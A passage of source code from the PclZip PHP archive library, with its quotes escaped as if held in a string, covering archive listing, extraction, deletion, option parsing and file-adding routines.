,PCLZIP_ATT_FILE_MTIME => \'optional\' ,PCLZIP_ATT_FILE_CONTENT => \'optional\' ,PCLZIP_ATT_FILE_COMMENT => \'optional\' ); foreach ($v_att_list as $v_entry) { $v_result = $this->privFileDescrParseAtt($v_entry, $v_filedescr_list[], $v_options, $v_supported_attributes); if ($v_result != 1) { return 0; } } $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); if ($v_result != 1) { return 0; } $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options); if ($v_result != 1) { return 0; } return $p_result_list; } function listContent() { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $p_list = array(); if (($v_result = $this->privList($p_list)) != 1) { unset($p_list); return(0); } return $p_list; } function extract() { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $v_options = array(); $v_path = \'\'; $v_remove_path = ""; $v_remove_all_path = false; $v_size = func_num_args(); $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; if ($v_size > 0) { $v_arg_list = func_get_args(); if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_PATH => \'optional\', PCLZIP_OPT_REMOVE_PATH => \'optional\', PCLZIP_OPT_REMOVE_ALL_PATH => \'optional\', PCLZIP_OPT_ADD_PATH => \'optional\', PCLZIP_CB_PRE_EXTRACT => \'optional\', PCLZIP_CB_POST_EXTRACT => \'optional\', PCLZIP_OPT_SET_CHMOD => \'optional\', PCLZIP_OPT_BY_NAME => \'optional\', PCLZIP_OPT_BY_EREG => \'optional\', PCLZIP_OPT_BY_PREG => \'optional\', PCLZIP_OPT_BY_INDEX => \'optional\', PCLZIP_OPT_EXTRACT_AS_STRING => \'optional\', PCLZIP_OPT_EXTRACT_IN_OUTPUT => \'optional\', PCLZIP_OPT_REPLACE_NEWER => \'optional\' ,PCLZIP_OPT_STOP_ON_ERROR => \'optional\' ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => \'optional\', PCLZIP_OPT_TEMP_FILE_THRESHOLD => \'optional\', PCLZIP_OPT_TEMP_FILE_ON => \'optional\', PCLZIP_OPT_TEMP_FILE_OFF => \'optional\' )); if ($v_result != 1) { return 0; } if (isset($v_options[PCLZIP_OPT_PATH])) { $v_path = $v_options[PCLZIP_OPT_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { if ((strlen($v_path) > 0) && (substr($v_path, -1) != \'/\')) { $v_path .= \'/\'; } $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; } } else { $v_path = $v_arg_list[0]; if ($v_size == 2) { $v_remove_path = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $this->privOptionDefaultThreshold($v_options); $p_list = array(); $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options); if ($v_result < 1) { unset($p_list); return(0); } return $p_list; } function extractByIndex($p_index) { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $v_options = array(); $v_path = \'\'; $v_remove_path = ""; $v_remove_all_path = false; $v_size = func_num_args(); $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; if ($v_size > 1) { $v_arg_list = func_get_args(); array_shift($v_arg_list); $v_size--; if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_PATH => \'optional\', PCLZIP_OPT_REMOVE_PATH => \'optional\', PCLZIP_OPT_REMOVE_ALL_PATH => \'optional\', PCLZIP_OPT_EXTRACT_AS_STRING => \'optional\', PCLZIP_OPT_ADD_PATH => \'optional\', PCLZIP_CB_PRE_EXTRACT => \'optional\', PCLZIP_CB_POST_EXTRACT => \'optional\', PCLZIP_OPT_SET_CHMOD => \'optional\', PCLZIP_OPT_REPLACE_NEWER => \'optional\' ,PCLZIP_OPT_STOP_ON_ERROR => \'optional\' ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => \'optional\', PCLZIP_OPT_TEMP_FILE_THRESHOLD => \'optional\', PCLZIP_OPT_TEMP_FILE_ON => \'optional\', PCLZIP_OPT_TEMP_FILE_OFF => \'optional\' )); if ($v_result != 1) { return 0; } if (isset($v_options[PCLZIP_OPT_PATH])) { $v_path = $v_options[PCLZIP_OPT_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { if ((strlen($v_path) > 0) && (substr($v_path, -1) != \'/\')) { $v_path .= \'/\'; } $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; } if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) { $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; } else { } } else { $v_path = $v_arg_list[0]; if ($v_size == 2) { $v_remove_path = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index); $v_options_trick = array(); $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick, array (PCLZIP_OPT_BY_INDEX => \'optional\' )); if ($v_result != 1) { return 0; } $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX]; $this->privOptionDefaultThreshold($v_options); if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) { return(0); } return $p_list; } function delete() { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $v_options = array(); $v_size = func_num_args(); if ($v_size > 0) { $v_arg_list = func_get_args(); $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_BY_NAME => \'optional\', PCLZIP_OPT_BY_EREG => \'optional\', PCLZIP_OPT_BY_PREG => \'optional\', PCLZIP_OPT_BY_INDEX => \'optional\' )); if ($v_result != 1) { return 0; } } $this->privDisableMagicQuotes(); $v_list = array(); if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) { $this->privSwapBackMagicQuotes(); unset($v_list); return(0); } $this->privSwapBackMagicQuotes(); return $v_list; } function deleteByIndex($p_index) { $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index); return $p_list; } function properties() { $this->privErrorReset(); $this->privDisableMagicQuotes(); if (!$this->privCheckFormat()) { $this->privSwapBackMagicQuotes(); return(0); } $v_prop = array(); $v_prop[\'comment\'] = \'\'; $v_prop[\'nb\'] = 0; $v_prop[\'status\'] = \'not_exist\'; if (@is_file($this->zipname)) { if (($this->zip_fd = @fopen($this->zipname, \'rb\')) == 0) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open archive \\\'\'.$this->zipname.\'\\\' in binary read mode\'); return 0; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privSwapBackMagicQuotes(); return 0; } $this->privCloseFd(); $v_prop[\'comment\'] = $v_central_dir[\'comment\']; $v_prop[\'nb\'] = $v_central_dir[\'entries\']; $v_prop[\'status\'] = \'ok\'; } $this->privSwapBackMagicQuotes(); return $v_prop; } function duplicate($p_archive) { $v_result = 1; $this->privErrorReset(); if ((is_object($p_archive)) && (get_class($p_archive) == \'pclzip\')) { $v_result = $this->privDuplicate($p_archive->zipname); } else if (is_string($p_archive)) { if (!is_file($p_archive)) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename \'".$p_archive."\'"); $v_result = PCLZIP_ERR_MISSING_FILE; } else { $v_result = $this->privDuplicate($p_archive); } } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); $v_result = PCLZIP_ERR_INVALID_PARAMETER; } return $v_result; } function merge($p_archive_to_add) { $v_result = 1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == \'pclzip\')) { $v_result = $this->privMerge($p_archive_to_add); } else if (is_string($p_archive_to_add)) { $v_object_archive = new PclZip($p_archive_to_add); $v_result = $this->privMerge($v_object_archive); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); $v_result = PCLZIP_ERR_INVALID_PARAMETER; } return $v_result; } function errorCode() { if (PCLZIP_ERROR_EXTERNAL == 1) { return(PclErrorCode()); } else { return($this->error_code); } } function errorName($p_with_code=false) { $v_name = array ( PCLZIP_ERR_NO_ERROR => \'PCLZIP_ERR_NO_ERROR\', PCLZIP_ERR_WRITE_OPEN_FAIL => \'PCLZIP_ERR_WRITE_OPEN_FAIL\', PCLZIP_ERR_READ_OPEN_FAIL => \'PCLZIP_ERR_READ_OPEN_FAIL\', PCLZIP_ERR_INVALID_PARAMETER => \'PCLZIP_ERR_INVALID_PARAMETER\', PCLZIP_ERR_MISSING_FILE => \'PCLZIP_ERR_MISSING_FILE\', PCLZIP_ERR_FILENAME_TOO_LONG => \'PCLZIP_ERR_FILENAME_TOO_LONG\', PCLZIP_ERR_INVALID_ZIP => \'PCLZIP_ERR_INVALID_ZIP\', PCLZIP_ERR_BAD_EXTRACTED_FILE => \'PCLZIP_ERR_BAD_EXTRACTED_FILE\', PCLZIP_ERR_DIR_CREATE_FAIL => \'PCLZIP_ERR_DIR_CREATE_FAIL\', PCLZIP_ERR_BAD_EXTENSION => \'PCLZIP_ERR_BAD_EXTENSION\', PCLZIP_ERR_BAD_FORMAT => \'PCLZIP_ERR_BAD_FORMAT\', PCLZIP_ERR_DELETE_FILE_FAIL => \'PCLZIP_ERR_DELETE_FILE_FAIL\', PCLZIP_ERR_RENAME_FILE_FAIL => \'PCLZIP_ERR_RENAME_FILE_FAIL\', PCLZIP_ERR_BAD_CHECKSUM => \'PCLZIP_ERR_BAD_CHECKSUM\', PCLZIP_ERR_INVALID_ARCHIVE_ZIP => \'PCLZIP_ERR_INVALID_ARCHIVE_ZIP\', PCLZIP_ERR_MISSING_OPTION_VALUE => \'PCLZIP_ERR_MISSING_OPTION_VALUE\', PCLZIP_ERR_INVALID_OPTION_VALUE => \'PCLZIP_ERR_INVALID_OPTION_VALUE\', PCLZIP_ERR_UNSUPPORTED_COMPRESSION => \'PCLZIP_ERR_UNSUPPORTED_COMPRESSION\', PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => \'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION\' ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => \'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE\' ,PCLZIP_ERR_DIRECTORY_RESTRICTION => \'PCLZIP_ERR_DIRECTORY_RESTRICTION\' ); if (isset($v_name[$this->error_code])) { $v_value = $v_name[$this->error_code]; } else { $v_value = \'NoName\'; } if ($p_with_code) { return($v_value.\' (\'.$this->error_code.\')\'); } else { return($v_value); } } function errorInfo($p_full=false) { if (PCLZIP_ERROR_EXTERNAL == 1) { return(PclErrorString()); } else { if ($p_full) { return($this->errorName(true)." : ".$this->error_string); } else { return($this->error_string." [code ".$this->error_code."]"); } } } function privCheckFormat($p_level=0) { $v_result = true; clearstatcache(); $this->privErrorReset(); if (!is_file($this->zipname)) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file \'".$this->zipname."\'"); return(false); } if (!is_readable($this->zipname)) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive \'".$this->zipname."\'"); return(false); } return $v_result; } function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false) { $v_result=1; $i=0; while ($i<$p_size) { if (!isset($v_requested_options[$p_options_list[$i]])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter \'".$p_options_list[$i]."\' for this method"); return PclZip::errorCode(); } switch ($p_options_list[$i]) { case PCLZIP_OPT_PATH : case PCLZIP_OPT_REMOVE_PATH : case PCLZIP_OPT_ADD_PATH : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); $i++; break; case PCLZIP_OPT_TEMP_FILE_THRESHOLD : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option \'".PclZipUtilOptionText($p_options_list[$i])."\' can not be used with option \'PCLZIP_OPT_TEMP_FILE_OFF\'"); return PclZip::errorCode(); } $v_value = $p_options_list[$i+1]; if ((!is_integer($v_value)) || ($v_value<0)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = $v_value*1048576; $i++; break; case PCLZIP_OPT_TEMP_FILE_ON : if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option \'".PclZipUtilOptionText($p_options_list[$i])."\' can not be used with option \'PCLZIP_OPT_TEMP_FILE_OFF\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = true; break; case PCLZIP_OPT_TEMP_FILE_OFF : if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option \'".PclZipUtilOptionText($p_options_list[$i])."\' can not be used with option \'PCLZIP_OPT_TEMP_FILE_ON\'"); return PclZip::errorCode(); } if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option \'".PclZipUtilOptionText($p_options_list[$i])."\' can not be used with option \'PCLZIP_OPT_TEMP_FILE_THRESHOLD\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = true; break; case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } if ( is_string($p_options_list[$i+1]) && ($p_options_list[$i+1] != \'\')) { $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); $i++; } else { } break; case PCLZIP_OPT_BY_NAME : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1]; } else if (is_array($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $i++; break; case PCLZIP_OPT_BY_EREG : $p_options_list[$i] = PCLZIP_OPT_BY_PREG; case PCLZIP_OPT_BY_PREG : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $i++; break; case PCLZIP_OPT_COMMENT : case PCLZIP_OPT_ADD_COMMENT : case PCLZIP_OPT_PREPEND_COMMENT : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'" .PclZipUtilOptionText($p_options_list[$i]) ."\'"); return PclZip::errorCode(); } if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option \'" .PclZipUtilOptionText($p_options_list[$i]) ."\'"); return PclZip::errorCode(); } $i++; break; case PCLZIP_OPT_BY_INDEX : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_work_list = array(); if (is_string($p_options_list[$i+1])) { $p_options_list[$i+1] = strtr($p_options_list[$i+1], \' \', \'\'); $v_work_list = explode(",", $p_options_list[$i+1]); } else if (is_integer($p_options_list[$i+1])) { $v_work_list[0] = $p_options_list[$i+1].\'-\'.$p_options_list[$i+1]; } else if (is_array($p_options_list[$i+1])) { $v_work_list = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_sort_flag=false; $v_sort_value=0; for ($j=0; $j<sizeof($v_work_list); $j++) { $v_item_list = explode("-", $v_work_list[$j]); $v_size_item_list = sizeof($v_item_list); if ($v_size_item_list == 1) { $v_result_list[$p_options_list[$i]][$j][\'start\'] = $v_item_list[0]; $v_result_list[$p_options_list[$i]][$j][\'end\'] = $v_item_list[0]; } elseif ($v_size_item_list == 2) { $v_result_list[$p_options_list[$i]][$j][\'start\'] = $v_item_list[0]; $v_result_list[$p_options_list[$i]][$j][\'end\'] = $v_item_list[1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } if ($v_result_list[$p_options_list[$i]][$j][\'start\'] < $v_sort_value) { $v_sort_flag=true; PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_sort_value = $v_result_list[$p_options_list[$i]][$j][\'start\']; } if ($v_sort_flag) { } $i++; break; case PCLZIP_OPT_REMOVE_ALL_PATH : case PCLZIP_OPT_EXTRACT_AS_STRING : case PCLZIP_OPT_NO_COMPRESSION : case PCLZIP_OPT_EXTRACT_IN_OUTPUT : case PCLZIP_OPT_REPLACE_NEWER : case PCLZIP_OPT_STOP_ON_ERROR : $v_result_list[$p_options_list[$i]] = true; break; case PCLZIP_OPT_SET_CHMOD : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; $i++; break; case PCLZIP_CB_PRE_EXTRACT : case PCLZIP_CB_POST_EXTRACT : case PCLZIP_CB_PRE_ADD : case PCLZIP_CB_POST_ADD : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_function_name = $p_options_list[$i+1]; if (!function_exists($v_function_name)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function \'".$v_function_name."()\' is not an existing function for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = $v_function_name; $i++; break; default : PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Unknown parameter \'" .$p_options_list[$i]."\'"); return PclZip::errorCode(); } $i++; } if ($v_requested_options !== false) { for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { if ($v_requested_options[$key] == \'mandatory\') { if (!isset($v_result_list[$key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); return PclZip::errorCode(); } } } } if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { } return $v_result; } function privOptionDefaultThreshold(&$p_options) { $v_result=1; if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) { return $v_result; } $v_memory_limit = ini_get(\'memory_limit\'); $v_memory_limit = trim($v_memory_limit); $last = strtolower(substr($v_memory_limit, -1)); if($last == \'g\') $v_memory_limit = $v_memory_limit*1073741824; if($last == \'m\') $v_memory_limit = $v_memory_limit*1048576; if($last == \'k\') $v_memory_limit = $v_memory_limit*1024; $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO); if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) { unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]); } return $v_result; } function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false) { $v_result=1; foreach ($p_file_list as $v_key => $v_value) { if (!isset($v_requested_options[$v_key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute \'".$v_key."\' for this file"); return PclZip::errorCode(); } switch ($v_key) { case PCLZIP_ATT_FILE_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } $p_filedescr[\'filename\'] = PclZipUtilPathReduction($v_value); if ($p_filedescr[\'filename\'] == \'\') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_NEW_SHORT_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } $p_filedescr[\'new_short_name\'] = PclZipUtilPathReduction($v_value); if ($p_filedescr[\'new_short_name\'] == \'\') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_NEW_FULL_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } $p_filedescr[\'new_full_name\'] = PclZipUtilPathReduction($v_value); if ($p_filedescr[\'new_full_name\'] == \'\') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_COMMENT : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } $p_filedescr[\'comment\'] = $v_value; break; case PCLZIP_ATT_FILE_MTIME : if (!is_integer($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } $p_filedescr[\'mtime\'] = $v_value; break; case PCLZIP_ATT_FILE_CONTENT : $p_filedescr[\'content\'] = $v_value; break; default : PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Unknown parameter \'".$v_key."\'"); return PclZip::errorCode(); } if ($v_requested_options !== false) { for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { if ($v_requested_options[$key] == \'mandatory\') { if (!isset($p_file_list[$key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); return PclZip::errorCode(); } } } } } return $v_result; } function privFileDescrExpand(&$p_filedescr_list, &$p_options) { $v_result=1; $v_result_list = array(); for ($i=0; $i<sizeof($p_filedescr_list); $i++) { $v_descr = $p_filedescr_list[$i]; $v_descr[\'filename\'] = PclZipUtilTranslateWinPath($v_descr[\'filename\'], false); $v_descr[\'filename\'] = PclZipUtilPathReduction($v_descr[\'filename\']); if (file_exists($v_descr[\'filename\'])) { if (@is_file($v_descr[\'filename\'])) { $v_descr[\'type\'] = \'file\'; } else if (@is_dir($v_descr[\'filename\'])) { $v_descr[\'type\'] = \'folder\'; } else if (@is_link($v_descr[\'filename\'])) { continue; } else { continue; } } else if (isset($v_descr[\'content\'])) { $v_descr[\'type\'] = \'virtual_file\'; } else { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File \'".$v_descr[\'filename\']."\' does not exist"); return PclZip::errorCode(); } $this->privCalculateStoredFilename($v_descr, $p_options); $v_result_list[sizeof($v_result_list)] = $v_descr; if ($v_descr[\'type\'] == \'folder\') { $v_dirlist_descr = array(); $v_dirlist_nb = 0; if ($v_folder_handler = @opendir($v_descr[\'filename\'])) { while (($v_item_handler = @readdir($v_folder_handler)) !== false) { if (($v_item_handler == \'.\') || ($v_item_handler == \'..\')) { continue; } $v_dirlist_descr[$v_dirlist_nb][\'filename\'] = $v_descr[\'filename\'].\'/\'.$v_item_handler; if (($v_descr[\'stored_filename\'] != $v_descr[\'filename\']) && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) { if ($v_descr[\'stored_filename\'] != \'\') { $v_dirlist_descr[$v_dirlist_nb][\'new_full_name\'] = $v_descr[\'stored_filename\'].\'/\'.$v_item_handler; } else { $v_dirlist_descr[$v_dirlist_nb][\'new_full_name\'] = $v_item_handler; } } $v_dirlist_nb++; } @closedir($v_folder_handler); } else { } if ($v_dirlist_nb != 0) { if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) { return $v_result; } $v_result_list = array_merge($v_result_list, $v_dirlist_descr); } else { } unset($v_dirlist_descr); } } $p_filedescr_list = $v_result_list; return $v_result; } function privCreate($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); $this->privDisableMagicQuotes(); if (($v_result = $this->privOpenFd(\'wb\')) != 1) { return $v_result; } $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options); $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } function privAdd($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0)) { $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options); return $v_result; } $this->privDisableMagicQuotes(); if (($v_result=$this->privOpenFd(\'rb\')) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } @rewind($this->zip_fd); $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid(\'pclzip-\').\'.tmp\'; if (($v_zip_temp_fd = @fopen($v_zip_temp_name, \'wb\')) == 0) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_zip_temp_name.\'\\\' in binary write mode\'); return PclZip::errorCode(); } $v_size = $v_central_dir[\'offset\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; $v_header_list = array(); if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) { fclose($v_zip_temp_fd); $this->privCloseFd(); @unlink($v_zip_temp_name); 